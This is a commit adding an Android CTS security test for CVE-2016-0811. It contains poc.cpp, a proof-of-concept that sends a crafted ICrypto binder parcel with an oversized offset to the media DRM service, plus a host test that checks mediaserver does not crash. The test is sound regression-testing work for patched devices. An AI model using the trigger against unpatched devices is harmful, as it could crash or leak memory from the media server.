CTS test for Android Security CVE-2016-0811
Test: cts-tradefed run cts -m CtsSecurityBulletinHostTestCases -t
android.security.cts.Poc16_02#testPocCVE_2016_0811
Bug: 25800375
Bug: 72510078
Change-Id: I450d4ef453ac4a2681d7da603c92e80ca411f6f1
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index f1b2ab4..8277b53 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -37,6 +37,12 @@
<option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
<option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
+ <!--__________________-->
+ <!-- Bulletin 2016-02 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-0811->/data/local/tmp/CVE-2016-0811" />
+
+ <!--__________________-->
<!-- Bulletin 2016-04 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="CVE-2016-2412->/data/local/tmp/CVE-2016-2412" />
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
new file mode 100644
index 0000000..6a0317b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-0811
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+ libbinder \
+ libutils \
+ libmedia \
+ libmediadrm \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
new file mode 100644
index 0000000..b34166f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp
@@ -0,0 +1,73 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <media/ICrypto.h>
+#include <media/IDrm.h>
+#include <media/IMediaDrmService.h>
+
+using namespace android;
+
+template <typename T>
+void mediaPoc(BpInterface<T> *sit) {
+ Parcel data, reply;
+ data.writeInterfaceToken(sit->getInterfaceDescriptor());
+ data.writeInt32(0);
+ data.writeInt32(0);
+ static const uint8_t kDummy[16] = {0};
+ data.write(kDummy, 16);
+ data.write(kDummy, 16);
+ const int wsize = 16 * 1024;
+ sp<MemoryDealer> dealer = new MemoryDealer(wsize);
+ sp<IMemory> memory = dealer->allocate(wsize);
+ data.writeInt32(wsize);
+ data.writeStrongBinder(IInterface::asBinder(memory));
+ const int ss = 0x1;
+ data.writeInt32(0xffffff00);
+ data.writeInt32(ss);
+ CryptoPlugin::SubSample samples[ss];
+ for (int i = 0; i < ss; i++) {
+ samples[i].mNumBytesOfEncryptedData = 0;
+ samples[i].mNumBytesOfClearData = wsize;
+ }
+ data.write(samples, sizeof(CryptoPlugin::SubSample) * ss);
+ char out[wsize] = {0};
+ reply.read(out, wsize);
+}
+
+static const uint8_t kClearKeyUUID[16] = {0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2,
+ 0x4D, 0x02, 0xAC, 0xE3, 0x3C, 0x1E,
+ 0x52, 0xE2, 0xFB, 0x4B};
+
+int main(void) {
+ status_t st;
+ sp<ICrypto> crypto =
+ interface_cast<IMediaDrmService>(
+ defaultServiceManager()->getService(String16("media.drm")))
+ ->makeCrypto();
+
+ sp<IDrm> drm = interface_cast<IMediaDrmService>(
+ defaultServiceManager()->getService(String16("media.drm")))
+ ->makeDrm();
+
+ Vector<uint8_t> sess;
+ st = drm->createPlugin(kClearKeyUUID, (String8) "test");
+ st = drm->openSession(DrmPlugin::kSecurityLevelMax, sess);
+ st = crypto->createPlugin(kClearKeyUUID, sess.array(), sess.size());
+ BpInterface<ICrypto> *sit = static_cast<BpInterface<ICrypto> *>(crypto.get());
+ mediaPoc(sit);
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
new file mode 100644
index 0000000..4a638a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
@@ -0,0 +1,29 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+public class Poc16_02 extends SecurityTestCase {
+ /**
+ * b/25800375
+ */
+ @SecurityTest(minPatchLevel = "2016-02")
+ public void testPocCVE_2016_0811() throws Exception {
+ AdbUtils.runPocAssertNoCrashes("CVE-2016-0811", getDevice(), "mediaserver");
+ }
+}
